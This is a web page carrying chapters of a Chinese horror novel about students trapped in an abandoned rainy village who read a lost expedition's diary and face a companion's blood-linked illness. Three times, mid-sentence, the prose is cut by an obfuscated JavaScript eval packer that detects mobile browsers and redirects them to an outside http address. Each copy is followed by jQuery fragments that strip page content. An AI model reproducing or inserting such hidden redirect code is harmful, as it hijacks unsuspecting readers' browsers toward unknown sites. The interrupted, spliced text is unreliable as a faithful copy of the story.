我们是晚上进村的,进村后当天晚上就在村子里找地方住下。之后的几天,我们一边探索周围,一边寻找这个荒村过去人生活的痕迹。 今天是进入雨守村的第四天(划掉)第六天。 荒村一直在下雨,我们没办法进山探索更远的地方。 康阳成说他昨天晚上半夜起来上厕所,在村子里看见了人影。 但是自从我们进村的第一天,就把整个村子翻了一遍,别说人了,连个活物都没瞧见。安天恩笑话他说,是不是在村子里偷煮什么蘑菇,出现幻觉了。 今天是进入雨守村的第五天(划掉)第七天。 今天雨水小了很多。我们五人商讨过后决定成两队,我和安天恩潜入水潭,想着原路返回说不定能找到新线索,可是我们在冰凉刺骨的水里游了很久,也没找到我们之前进来的那个洞,消失得无影无踪,就像是从来没有出现过。 另一边,齐聪带着加里和康阳成去了山上,找找看有没有其他路,我们准备明天离开这个荒村,往山的更深处进发。 今天是进入雨守村的第八天。 昨天下午,齐聪他们没有回来。 新的一天开始,雨又开始下了,村里的雨听着让人心慌,我和安天恩等到后半夜,还是没看见他们回来的身影。 今天是进入雨守村的第九天。 一整个上午,我们依旧没有等到齐聪他们,怀疑是昨天的大雨把齐聪他们困在了山里。 等到下午,雨势稍减,我和安天恩再也坐不住了,进山寻找他们。直到入夜,我们才在一处背风的山洞里,找到缩成一团的康阳成。 他似乎看见了什么极为恐怖的东西,缩在山洞角落瑟瑟发抖。背靠着的是一座摆放钟馗像的神龛,斑驳的泥脸扭曲狰狞,一双毫无生气的眼睛正死死盯着洞口。 今天是进入雨守村的第十天。 我们在山洞里生了火,守着康阳成休整。他蜷缩在火堆边,时不时发出一声短促的惊叫,却始终没敢合眼。 这家伙跟着我们闯过不少险地,什么妖魔鬼怪没见过,我们实在不明白他到底被什么东西吓成这样。 想问问他究竟看到了什么,他也断断续续说不出一句完整的话。问他齐聪和加里去哪了?他倒是能给出点信息。 康阳成说他们是在一片坟地里分开的。 那片坟地,白天的时候我和安天恩也去过,除了没墓碑,没什么特别的。 今天是进入雨守村的第十一天。 在山里没找到齐聪他们,我们准备先带着缓过劲来的康阳成回到荒村,猜想齐聪他们如果已经找到路了,说不定会回荒村跟我们汇合。 然而回到村里也没瞧见他们的身影,倒是在检查行李的时候,我突然发现加里和齐聪的行李都有被翻动的痕迹。 这个村子在我们走后来人了?还是齐聪和加里他们回来过?那为什么没有留在村子里等她们? 今天是进入雨守村的第十二天。 昨天晚上荒村又开始下起大雨。我们带进来的衣服在这十几天里变得潮乎乎的,我们挂在房梁上晾,非但没干,反而似乎沾上一股霉味,怎么洗也洗不掉。这霉味顺着衣服传到了我们身上。 安天恩很讨厌这股霉味,说那味道闻起来像是死人的味道,所以每天晚上她都会擦洗身体,但即使她搓掉一层皮,也没能把那若有若无的霉味去除掉。 今天是进入雨守村的第十三天。 齐聪他们失踪的第六天,怪事发生了。村子里开始莫名出现一些老人的影子,他们总是坐在门口,灰扑扑的眼珠,目光呆滞地看着我们,偶尔投来瘆人的微笑,和无处不在的注视。 今天下午,我们终于找到了加里,他泡在我们进村的那个水潭里,脸色惨白,嘴唇乌紫,奄奄一息。我们赶紧跳下水,将他拖上岸,对他实施了急救手段,他呛出几口浑水,气息渐渐平稳,却依旧没醒。 今天是进入雨守村的第十四天。 我们的东西已经吃的快差不多了。 今早醒的时候,荒村里起了很大的雨雾,一切都是模糊不清的。那些老人的影子在雾气中涌动,看起来更加像鬼影了。 我们壮着胆子靠近,想看看他们到底是什么东西,可每次刚一靠近,那些影子就会眨眼间消失,只留下一阵淡淡的霉味。 中午的时候,加里终于醒了,他告诉我们一些消息,说他和齐聪进山发现一些东西,这荒村我们不能再待下去了,否则谁都走不出去。 他和齐聪想将这消息带回给村子里的我们,在山里转了许久,终于回到荒村时,却没看见我和安天恩的身影。 他们当时是晚上回来的,雨下得很大,村子里突然出现一群鬼影队伍,就是之前他们在外面山中看到的那些。 他们跟着鬼影队伍潜入进村的那个水潭,但是半路,他和齐聪分别被两股不同的力量拉扯,被迫分开。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17112347|195170||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 在这之前,他们跟踪鬼影队伍是想找到出去的路,齐聪说跟着那个鬼影队伍,肯定能离开这个鬼地方。 他现在回来了,那齐聪肯定出去了,他答应过他,出去后会立马在外面找救援队伍进山搜救他们。 今天是进入雨守村的第十八天。 我们的东西彻底吃完了。 我和安天恩进山一趟,挖了些可食用的野菜和蘑菇,没找到动物。 可是当我们带着那些蘑菇和野菜回来煮熟,并分给大家吃后,却都出现了不同程度的呕吐现象。 康阳成反应最激烈,像是要把身体里的内脏全部吐出来,整个人被掏空,脸色瞧着更白了。 之后我们在他的呕吐物里发现大量的白色菌丝,那些菌丝密如织网,暂不能确认是我们看过的某一种。 到了晚上,加里突然发起了高烧,我们翻出随身携带的退烧药,给他喂了些,并用其他手段强制降下他的体温。 在他终于躺上床,意识模糊间,听见他嘴里反复念叨着“救援,出去”这些话。 直到现在翻开这个记录本,我才猛地想起来我们队伍里不是只有四个人,而是五个,还有一个叫齐聪,他和加里分开后,逃出了这个荒村,会在外面寻找救援队伍进山搜救我们。 今天是进村的第十九天。 每天重复一遍,我们队伍一共有五个人,我文青香、安天恩、加里、康阳成、还有齐聪。齐聪逃出了这个荒村,他会寻找救援机会回来搜救我们。 今天是进入雨守村的不知道多少天。 前几天,我不小心把这个本子丢在角落里,直到今天找吃的的时候,才发现原来我之前记过这么多东西。这段时间脑袋浑浑沌沌的,总是记不清楚事,像是被一大团菌丝黏住。 对于这个本子上记录的事,我感觉陌生又熟悉,如果不是在前面翻到几个熟悉的名字,我都以为这个本子原本是村子里留下的东西。 我有点记不清进来多久了。 带进来的食物从记录本上看几天前就吃完了,那这些天我是怎么活下来的?我已经不太有印象了。 安天恩,对了,安天恩去哪了?加里和康阳成好像也再没见过。齐聪,齐聪是我的同伴吗?他出去寻找救援机会了,他会回来救我们。 不知道下次我还能不能想起这个本子。我现在的记性越来越差,经常转个身就忘记要干什么,在这个村子待得越久,我好像对“人”的知觉就越来越淡,忘了饥饿,忘了时间,忘了我们为什么要来这个村子,忘了这个村子叫什么名字,忘了我的同伴,忘了吃饭,忘了喝水,甚至有时候我都忘了我还活着。 到现在我心底隐隐只有两个念头,一个是等待,一个是寻找。等待救援,我像村里那些老人一样,坐在土房门口的门槛上,目光呆滞地望着进村入口,坐得久了,我开始忘记我要等什么,起身活动活动身体才能想起来。 另一个是寻找,每到晚上的时候,我就会在村子里寻找,不停的走不停的走,想要走出这个地方,走出荒村,走出这些山。我相信,只要我不停的走,肯定能走出去。 可是,脚下的路,好像永远都走不完。 我到底,该往哪走呢? 22. 第二十一章:离开 日记到这里就断了,后面的纸页一片空白,再没有新的字迹添进来。 第五页和华悠悠头挨着头,蹲在烤火炉边,借着跳跃的火光,一字一句地看完了整本日记。 烘烤过后的皮革本纸页泛黄发脆,不少字迹被水汽晕染得模糊不清,可她们还是读懂了字里行间的绝望和恐惧。 所以,在她们到这个荒村之前,大概六七年前,还有另外一群人进入雨守村吗?他们还都是专业的,都没走出这个荒村。 她们遗忘的东西,会不会和这群人一样,是被这个地方一点一点地偷走了? 第五页没说话,她的眉头紧紧皱着,眼中满是凝重。 华悠悠张了张嘴,想说些什么,可话到嘴边却又咽了回去,满屋子的沉默,只剩下火炉里噼里啪啦的燃烧声,在寂静里格外清晰。 过了许久,第五页才缓缓合上皮革本。 这个皮革本没有给她们任何离开的线索,只讲了一个悲伤的故事,一场徒劳的挣扎。 原以为能找到些有用的东西,没想到到头来却是一场空,士气难免有些低下。 华悠悠低着头,不知该说些什么。 另一边,第五页倒像是不在意,合上笔记本后,目光又落在了那个木雕的匕首上,上面的泥印并未被她洗去,干掉过后深深印在了木料里,留下几个深色印记。 她拿起木匕首放在掌心摩挲。 瞧见她的动作,华悠悠疑惑道,“这不是裴桐在我们房子里捡到的吗?” 第五页轻轻嗯了声,然后抬头看向华悠悠的眼睛,“你还记得我跟你们说过,我们似乎遗忘了某些事吗?” 她当然记得,不过,“……我到现在也没明白,你究竟是怎么确认我们遗忘过某些事的……或者说,如果我们真的遗忘了什么事,那到底该怎样才能想起我们遗忘的东西?” 第五页垂眸,拿起放置一边的发旧的照片,照片边缘卷曲泛黄,上面一共五个人,四个人的身影早已被霉斑和潮气侵蚀得模糊不清,唯有角落里的一个男人还能勉强看清楚轮廓和样貌 男人看起来三十岁左右,留着寸头,穿了件黑色冲锋衣,嘴角扯着一抹略显僵硬的笑。 她盯着照片中模糊的男人出神,喃喃自语,又像不是她在说话,而是身体里的某部分通过她的嘴,将心底深处的想法念了出来,“……其实我有一种错觉,我们遗忘的那件事,或者说那个人,可能就是上一批进入荒村队伍当中的一员……” 不知是她说话的声音太小,还是华悠悠彻底被他搞乱了,脑子一团麻,张嘴迷茫地盯着她啊了一声。 而第五页却像是被刚刚自己说的那一番话点醒,从一团乱麻中抓住点线头,她指尖点在照片上那个男人的轮廓,用拇指压住上面的霉斑。 像是在为华悠悠解释,又像是在为自己理清头绪,一点一点分析目前得到的所有线索,“我们之所以来到这个荒村,本就是暑假的社团活动,提供信息的是曹永朝,而他也只对这边有一丁点了解。除此之外这个地方对我们五个人来说完全是陌生的。” “就算我们当中宋英杰和曹永朝拥有一些野外生存的知识,但就仅凭我们五个学生,怎么可能就这样贸贸然进山?” “我们肯定会需要一个导游、一个向导、一个带我们进山的人。” “你不是说你觉得我们遗忘的那件事,或者说那个人,是上一批进入这个荒村的人?”华悠悠有点跟上她的思路,快速道,“你想说我们遗忘的那个向导,那个带我们进村的人就是……” 两人脑海同时浮现出个名字。 “……就是齐聪?!” 第五页点点头,肯定了她的答案。 “不对啊,还是说不通。”刚找到点头绪,又绕进死胡同,华悠悠抓了抓头发,脸蛋皱成一团,一连串的问题噼里啪啦地冒出来。 “如果这个齐聪真的是我们遗忘的当初带我们进山的向导,那他为什么要带我们进山?” “从我们目前知道的分析,当初他是唯一一个逃出雨守村的人,按照皮革本上的记录,他和他的伙伴约定出去后会寻找救援机会搜救他们,但是从后续的记录看文青香她们并没有等到救援队伍。” “那就只有两种可能,一那个逃出去的他被这个地方吓到了,贪生怕死之下不敢去找救援队伍。二出去后他的确找了救援队伍,并且带着救援队伍进山,只是救援队伍也没找到这个荒村。” 就像那篇桃花源记的结局一样。 “……但不管是哪种可能,六年后齐聪都不可能带我们再次进山,第一种可能他贪生怕死的话不会出现在雨守村附近,甚至不会接触有关雨守村的信息。第二种可能就算他找了救援队伍但没救出自己的同伴,那他也同样知道这个地方的危险,怎么可能再次将自己置于险地?”华悠悠怎么想都不理解。 第五页没有立刻回答她的问题,垂眸盯着照片上的男人,不知是因为她们将照片从皮革本里拿出来暴露在空气中,还是因为现在的齐聪已经遭遇意外成为雨守村的同类。 在她们找到照片的这段时间,照片中的男人,虽然身体轮廓还算清晰,但原本清晰的脸已经变得扭曲,那抹原本僵硬的笑也变得诡异起来,带着一种说不出的“伪人感”,像是一张人皮面具,被生生扯变了形。 “或许还有第三种可能。”她盯着照片回答。“他忘了。” “什么?”华悠悠没明白。 第五页抬头看着她的眼睛说:“我有一个猜测,或许这个地方不只能让待在这里的人遗忘自己,也能让离开这里的人和外面的人遗忘这个地方。” 像是所有疑问都得到了解释。 华悠悠眉心皱紧,片刻后又松开,“你是想说当初逃出去的齐聪,他并不是没有去寻找救援机会,而是把这个地方还有他的同伴彻底给遗忘了。” 他忘记了他们的承诺。 第五页盯着他的眼睛,微微颔首。 虽然还有很多地方解释不通,但这已是目前最合理的猜测。至于当初齐聪和他的同伴在山里发现的东西究竟是什么,她们依旧毫无头绪。 但循着这些零碎的线索,她们总算能拼凑出一些真相: 首先,这个地方易进难出。 每到深夜,村子里深山里都会出现一个鬼影队伍游荡,第五页猜测,那些鬼影或许就是荒村原本的村民。 之前在山上的洞祠里,他们见过十七个刻在石壁上的名字。 而她曾两次数过鬼影队伍的数量,第一次是二十一个,第二次是二十二个。多出来的四个,似乎是上一批进山被困死在里面的齐聪的伙伴。 至于第二天晚上她去数为什么又变为二十二个,恐怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116493|195170||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是因为就在那一天的时间里,这一次跟他们进来的齐聪也成为了他们的一员。 关于为什么带他们进来的齐聪会突然消失不见,最大的可能是当齐聪进山后,看见了过去的同伴,想起了部分被遗忘的事,误打误撞把自己了栽进去。 现在,他们也开始像皮革本里写的那样,慢慢看到村子里那些老人的影子。也许未来的他们也会和本子里的人一样,成为这个荒村的一员,忘记自己是谁,忘记出去。 到目前为止,除了以上,还有没想通的几件事: 他们进来的那个山洞洞壁上那句“活着的人从坟里爬出来”究竟是什么意思?是离开这里的线索,还是某种预言?预言未来埋在荒村后山坟地里的鬼影们会破土而出? 还有之前队伍里突然出现的梦游现象,华悠悠和曹永朝半夜梦游跑到山上坟地里挖坑,这件事又有什么意义?如果这与荒村的“老人”有关,他们为什么要让他们做这种事? 难道仅仅是作为鬼的恶趣味,吓一吓他们? 最重要的是,他们到底该如何离开这个地方?齐聪当初离开的办法,皮革本里并没有记录,他们连模仿的机会都没有。那本子上的记录断断续续,没什么有用的东西。 不过,已知的线索已经足够让他们意识到这个荒村有多危险。在这里待得越久不仅他们自己会遗忘一切,外面的人也会遗忘他们。 说不定连他们的家人都会彻底遗忘他们的存在。 坐以待毙,只有死路一条。 以前他们还能自我安慰说可以一边找出去的路,一边探索荒村的真相。可现在他们只剩下尽快离开这里这一个念头。 两人收拾好所有搜来的东西,守完了后半夜。 翌日一早,等宋英杰、曹永朝和裴桐醒来,第五页和华悠悠便将皮革本里的内容、夜里分析的结论,一股脑地说了出来。 皮革本里讲述的故事对他们来说是一个警示,在这里待得越久,她们担心她们也会被同化成荒村的一员。 于是五人一商讨,决定马上离开这里。 收拾好东西,当天上午便离开荒村,进山寻找出路。 哪怕村子里的白雾依旧浓得化不开,哪怕天色永远阴沉沉的,飘着淅淅沥沥的小雨,他们还是义无反顾地往山的深处走去。 雨水打湿了衣服,潮乎乎地贴在身上,冷意顺着皮肤往骨头缝里钻。 雨水的腥气和衣服发潮后的霉味缠在每个人身上,久久不散。 幸运的是,在他们离开荒村进入生里后,周围的雾气反而淡了很多。 他们并不知道哪条路能完全离开这个地方,只能凭靠直觉,一个劲地往上走。想着,或许他们始终朝着一个方向走,便能找到有人出现的地方。 队伍里,曹永朝和宋英杰虽说比不上皮革本里那些人专业,但多少有些野外生存经验,勉强能为他们在深山里行走提供帮助。 裴桐方向感很好,可以帮他们记下走过的路。不过如果遇上鬼打墙这样的情况就没有办法了。 在荒村待的这些天,他们带进来的食物已经所剩无几,进山后的消耗更是快得可怕。 他们从白天走到晚上,又从晚上走到白天,在山里转了两三天,兜了无数个圈子,依旧没找到出去的路。 最后兜兜转转,竟又回到那天躲雨的山洞。 23. 第二十二章:争执 等他们慌慌张张回到躲雨的山洞时,山里的天已经彻底黑透了。 他们不敢回荒村,也不敢继续在山里乱闯,只能蜷缩在山洞里,想着休整一晚,等天亮再继续寻找出路。 反正,荒村是绝不能再回去了。 被困在这个鬼地方不知道多少天,队伍里的士气低落到了极点。 恐惧和绝望像潮水一样,一波波冲刷着每个人的理智,他们像是一座座即将爆发的火山,全靠最后一点意志力强撑。 夜晚的山洞,格外安静。 他们安排好了守夜的顺序,各自钻进睡袋里,却没有人睡得着。 第五页翻来覆去,最终还是忍不住,又一次拿出了那个藏青色的皮革本。 她一页页地翻着,眼睛死死盯着本子上的每个字,像是要把本子盯出个洞来,疯狂地想要从中找出一点遗漏的线索。 有时候翻得久了,她自己都不知道自己在找些什么,于是愣愣地抬起头,盯着山洞的一个地方发呆。 周围静得可怕,明明有五个人,却连一点呼吸声都听不到,像是全部被这个山洞吞噬。 直到第五页的一声咳嗽打破宁静。 咳嗽过后,她感觉身体密密麻麻的疼,像是有什么东西在皮肤之下涌动。 她知道那是什么,是她的病又犯了。 但周围都是伙伴,她不想吓到他们,所以没有立马掀开衣服查看。 感受着身体上的疼,第五页脑袋开始放空,回忆她上一次喝药是什么时候,距离现在有多少天了。 上次她有喝药吗?还是又靠演技骗过了裴桐,偷偷躲掉。 另一边,裴桐从山洞附近捡了一些没那么潮湿的木头回来,准备生堆火为这个山洞带来些暖意。 刚和华悠悠把火升起来,便听到她这边的咳嗽声,瞬间被吸引注意抬眼看去她的方向。 眉心微蹙,随后像是启动了什么程序似的,起身走到自己的背包边。 在背包里一顿翻找,掏出一个眼熟的保温杯,想拿过去给她喝药,摇了摇,才发现里面早已空空如也。 在山里走的这些天,他忘了继续往保温杯里补充新的药。 握着保温杯,裴桐愣了愣,随后像是做出最正常的动作一样,平静地从背包底部抽出一把小刀,静默无声地离开了山洞。 他的动作没有躲过其他人的眼睛,又或许是忘了躲。 在瞧见他拿出刀的那一刻,原本缩在睡袋里,盯着山洞角落发呆的曹永朝,瞳孔骤然收缩。 山里被困的日子太长,他的神经早就绷成了一根弦,此刻看到这一幕,脑海竟不自觉地冒出那些看过的恐怖故事。 一起出门冒险的伙伴,被困深山,没有食物,最后互相残杀,靠啃食同伴的血肉活下去。 或许是他也觉得这个想法离谱,惊恐之下又带着点不确定,小心翼翼地试探开口,“裴桐……这么晚了,你拿刀干什么?” 裴桐并没有回答他,只是在离开山洞前给了他一个没有任何感情的眼神。 曹永朝相信自己没有看错。 进到这个地方后遇见的所有事情都太诡异了,时时刻刻绷着一根弦,让他的精神变得有些敏感,从一开始的怀疑这个地方,到现在竟有点开始怀疑同伴。 见裴桐没有给他反应,他又慌张地转头去看其他人,“你们看到没?刚才裴桐好像拿了一把刀出去……他拿刀干什么啊?” 一时间洞里其他人的目光全部集中到他身上。 第五页想开口解释些什么,但她和裴桐是情侣关系,而且这个时候曹永朝看着精神就有些敏感,她想她跳出来解释,恐怕只会火上浇油。 所以她看了看那边,又闭上嘴,飞快在心底盘算着该怎样不动声色地把他的注意力从裴桐身上转开。 好在宋英杰及时站出来打圆场,疑惑中语气尽量平和,“你或许是看错了吧?放轻松,别太紧绷了,裴桐心里有数,就算拿了刀,也可能只是出去削点什么东西而已。” 宋英杰的话并没有打消曹永朝的顾虑,他扭头看着洞外的大雨,语气犹豫,“可是外面雨这么大,他出去能削什么?现在都快到睡觉的时间了。” 没办法,最后宋英杰只能叹口气道,“你要是实在怀疑,那等会他回来后再问一下他吧。” 这句话总算让曹永朝紧绷的神经松了几分,闭上嘴,悻悻地躺回睡袋。 却没完全放松,撑着胳膊支起上半身,眼睛死死盯着洞口,像是要等他回来好好问问。 没过多久,裴桐回来了。 手里还拿着那个熟悉的保温杯,但是没见带出去的那把刀的影子。 出去一趟回来的裴桐脸色惨白,连唇色都淡了许多。 瞧见他这幅模样,曹永朝心底那股怀疑忍不住又飘了上来。 裴桐现在手中已经没有那把刀了,他胆子也大了些,登时从睡袋里起身,走到裴桐面前,伸手拦住他,语气尽量平静地问,“裴桐,你的刀呢?没带回来吗?” 裴桐掀了掀眼皮,毫无感情地瞥了他眼,目光轻飘飘的。 还是那个眼神。 不知是被这眼神吓到,还是被这眼神激怒。 曹永朝心里下意识咯噔一下,喉结滚动,然后动作迅速地抓住裴桐握着保温杯的手腕,“让我看看你杯子里装的是什么?” “松手。” 裴桐终于开口了,然而,即使说出的话只有两个字,声音也软绵绵的,像是耗尽了全身的力气,透着一股说不出的虚弱。 站在所有人之外的第五页瞧见裴桐现在这副样子,顿时明白他刚才去干了什么。 他应该是去帮她取药了,没想到被这样误会。 不能再这样看着裴桐被他们误会,她咬着牙,忍着身上隐隐传来的痛意,想起身过去帮裴桐解围。 却没想到,就在这几秒钟的时间。那边似乎被挑起更大的战火。 那边,曹永朝像是彻底对裴桐失去信任,又或许是被那声松手彻底激怒,攥着裴桐手腕的手逐渐收紧,眼底隐隐有血丝漫上来。 “你这杯子里究竟装着什么?为什么不能让我们看?是不是见不得人的东西?我们走不出这个鬼地方,是不是跟你有关?” 说到最后,声音越来越大。 宋英杰和华悠悠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122372|195170||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见状,连忙冲上来拉架。 宋英杰死死拽住曹永朝的胳膊,急声道,“曹永朝你冷静点,大家都是一起进来的。裴桐和第五页也被困在这里,他再怎么样也不至于把自己搭进去。” 可曹永朝的神经已经崩到了极点,仿佛完全听不见旁人的劝阻,反而拦住裴桐的那只手更加用力,“既然没什么东西,为什么不能在这让我们看看?你是不是对我们隐瞒了什么?” 裴桐惨白的嘴唇动了一下,声音轻得像风,“究竟是你们想看,还是你想看?” 这个你字在曹永朝心底自动变为裴桐现在在跟他们划清界限,意思是你们是你们,他是他。 更加加重了他心中的怀疑,瞬间爆发出更大的争执。 曹永朝本就是个暴脾气,几人拥在一起,几番推搡之下。 原本被裴桐抓在手心的保温杯一个没拿稳,哐当一声摔在地上。 没扭紧的杯盖瞬间崩开,一股腥气扑面而来,猩红的液体洒溅一地,呈骇人的喷溅状。 瞬间,围在这一块的几人呈鸟兽受惊般四散跳开。 华悠悠盯着地上那滩刺目的红,一口气差点没喘上来,微微睁大眼睛,声音扭曲到自己都觉得陌生,“血……血!” 怎么会是血?裴桐的保温杯里怎么会装着血? 曹永朝盯着地上那滩鲜红色的液体,脑袋更是嗡的一声,一片空白,天旋地转。 再次抬起头时,只感觉周围的人都无比陌生。 他们真的是自己的同伴吗?会不会在荒村的这段时间,他的同伴已经全部被换掉了?他们一直在山里兜圈子,是因为眼前这个裴桐是假的?那华悠悠、宋英杰还有第五页她们呢? 另一边,宋英杰也被杯子里倒出来的东西吓蒙了头,脑袋一时间无法运转,空荡荡的,好半天才回过神。 随后看向裴桐的目光,也忍不住带了一丝惊恐和害怕,声音颤抖着说:“裴桐……这是血吗……这血是谁的?是动物的……还是人的?” 地上的血看着还很新鲜,洒在地上,甚至没有多少血块。 刚才裴桐拿那刀出去,就是为了取血?取谁的血?几人不敢细想。 没过片刻,曹永朝得出一个离谱的答案,像是自己也不太相信,声音发颤地说:“你,你是吸血鬼?” 此时的第五页已忍着身上的剧痛来到他们身边,不忍看着他们就这样误会裴桐下去,想要唤回他们的神智。 她银牙紧咬,想要为裴桐说什么,“你们听我说,不是这样的,这血其实是……” 然而她的话还没说完,另一边瞧见她走过来的裴桐明白她想解释,立马打断她的话,“没错,是我。” “如果你们害怕,我现在就离开。”说完迎着众人的目光,连地上的杯子都没捡起来,转身离开山洞。 第五页甚至来不及伸手去拦。 山洞里的众人还僵在原地,盯着地上那滩刺目的血迹,迟迟不敢回神。 唯有另一边缓过劲来的华悠悠,似乎想到什么,眼神从地上大片的红色血迹移开,看看所有人身后咬牙忍耐的第五页,又看向洞外漆黑的雨夜,若有所思。 24. 第二十三章:血脉 第五页这边,等到身上的剧痛稍稍褪去时,额头已布满冷汗,唇色和刚才裴桐的相差无几。 趁着大家对刚才的事还未回过神,提高音量,“咳咳……等一下,你们听我说,事情不是你们想的那样。” “你们误会裴桐了,他不是什么怪物,也绝对没有想把我们困在这里的想法。地上这滩血其是……他自己的。” 其余三人被她的声音吸引注意力,看过来。 宋英杰还勉强保持一丝理智,皱紧眉头,表情还是极其不理解,“那他为什么要放自己的血?还保存在杯子里?” 第五页咬住惨白的嘴唇,片刻后松开,深呼吸,像是下定某个决心,缓慢地掀开遮住自己身体的衣袖,露出斑驳的手臂。 从小臂开始,宛如蛛网的恶心纹路贴在她的皮肤上,蜿蜒交错,狰狞可怖,这些密密麻麻的纹路顺着她掀开的衣袖往深处蔓延,看不见尽头,但不难想象,或许早已爬满她的全身。 第五页哑着声音说:“……是因为我生病了,生了很严重的病。” 没等他们发问,她便接着解释,“这个病需要一些特殊的药来治,其中的一味药就是裴桐的血。” “我的病很特殊,可能随时随地会发作,裴桐也是因为我才会做这种事。我们不想吓到你们,所以没有如实相告,抱歉。” 她抬眼看着众人,眸光闪动,目光真诚,“我知道我这样解释很诡异,也很荒唐,你们或许无法理解。但你们就算不相信我的病,也请相信裴桐。他刚才不说,是为了我。我不想他被你们这样误会,我们是一起进来的,如果他想把我们困在这里,根本没必要放自己的血,更没必要在这个时候退出队伍。” 一大段解释的声音落下,山洞再次陷入一片沉静。 沉默了几秒后,华悠悠第一个站出来,小心翼翼地问她,“你生的是什么病?怎么会这么……奇怪吓人?” 第五页摇头,“具体什么病我也不清楚。” 苦笑接着说:“我父母带我跑过很多家医院都查不出原因。最后得出的诊断是这或许是个遗传病,从我祖上遗传下来的。” 提到这个病,第五页的思绪不受控制地飘回了她第一次发病的时候。 那是高考结束后,她和裴桐确认关系没多久。 由于她高考成绩超常发挥,父母给了她一笔钱,她拿着这笔钱计划和裴桐出去旅游。 却没想到自己的人生就以旅游前的那一晚画下了翻转线,之后的人生观、价值观,还有生活都发生了翻天覆地的变化。 她也明白了很多人生的转折到来之前,并不会给你一个渐进的过程,它们往往突如其来,在一个日记都不会记录的,不起眼的夜晚。 那天半夜,她睡下没多久,便感觉背部传来密密麻麻的痒意,这种感觉像是夏天雨丝落在皮肤上,不痛苦,但会让人忍不住分出一丝神去注意它。 因为想着第二天要赶车,她并没有立马起床查看,反而强迫自己睡了过去。 到了后半夜,痒意变成痛意,密密麻麻爬满全身,仿佛无数只虫子从她的血管爬出,啃食她的皮肤。 她睡觉很沉,被这痛意折磨得反复醒来又反复睡去,整个人像是被放进锅里反复翻炒。 最后径直痛晕过去。 再次醒来时,已是次日早上。 她从镜子里一看,自己全身上下布满了这种可怕的、恶心的蜘蛛网一样的纹路,仿佛人身上的血管从皮肤下爬到了皮肤上。密密麻麻,狰狞得像个怪物。 她看着镜中陌生的自己,浑身冰凉,连房门也不敢踏出一步。 父母来敲门,她死死抵着门,不肯应声,并单方面取消了和裴桐的旅行,像只受伤的困兽,躲在房间里与世隔绝。 身体的痛意还未褪去,她蜷缩在房间角落,一遍遍数着身上的纹路,脑子史无前例的乱。 她怎么了?为什么一晚上就变成这样? 这里还是现实世界吗?她是不是穿越了?穿进了什么无限流小说? 她想不通,也不敢想。 只能忍着浑身的痛和痒,喉咙干涩,疯狂想吞咽些什么。 直到上午,迟迟联系不上她的裴桐找上门来。 隔着门板听见房间她压抑的痛呼声,随后二话不说破门而入。 他甚至没来得及在房间里找到她的位置,便被双眼通红,宛如野兽的她疯狂扑倒在地。 那天是盛夏,裴桐穿了一件白色短袖衬衫。 第五页清晰地感觉到她的牙齿刺破他的皮肤,浓烈的血腥味在口腔里弥漫开来。 殷红的血,很快染红裴桐的肩头。 那对第五页来说是个糟糕的回忆。 光是想到曾经的她像个怪物一样趴在裴桐身上咬破他的皮肤,允吸他的鲜血,便忍不住浑身颤抖。 她真的是她吗? 还是其实从高考后的那个夜晚,她就已经不是她了? 第五页不明白自己为什么会这样,然而自那之后,她发现一件怪事,那就是每当她发病的时候,只有裴桐的血液才能勉强让她的身体平静下来。 后来,她父母带她去看过很多医院,甚至用了一些偏门的土方子,都无济于事。 直到她姥姥听说了她的病,特意从乡下赶到县城。跟她说了一个她们祖上血脉的故事。 那个故事离奇诡异,让人简直不敢相信这是现实世界发生的事,但她的病又实实在在地告诉她,她身上发生的一切都是真的。 她姥姥告诉她,她们现在这一支血脉其实是祖上另一支血脉延伸出来的,体内的血并不纯,这种纯并不是指医学范畴的纯。 姥姥说她们祖上血脉较纯的那一支,能够用一些常人无法理解的办法养血,血在她们的身体里是一种病,同时也是一种武器。 在原本那个家族里,会专门有这样一群人去养自己的血,厉害点还能操控自己的血,通过自己的血喂养动植物,来使它们听话,交流。 而她发病的原因,其实恰恰是因为身体里的血没有好好得到利用。养血也不仅仅是养,还需要用它,一直不用的话那些血就会不停在你身体里活跃。 最后看是你控制住了它,还是它们控制住了你。 至于为什么裴桐的血能够让她平静下来,这可能是个意外。 那天第一次发病的她,发病后不小心吞咽了一点裴桐的血,导致她身体里刚活跃起来的血就记住了这种味道,而她们身体里的血只能通过记住的第一个味道来喂养。 这也是为什么只有裴桐的血才能让她平静下来。 从她姥姥的口中得知,她们祖上这支血脉从家族出走过后,本以为再不会被这个病困扰,毕竟他们当初出走的那一支血脉并不纯正。 而她姥姥活了这么多年也没发病,她妈妈也是正常的长大恋爱结婚生下了她,却没想到在她这里出现了异常。 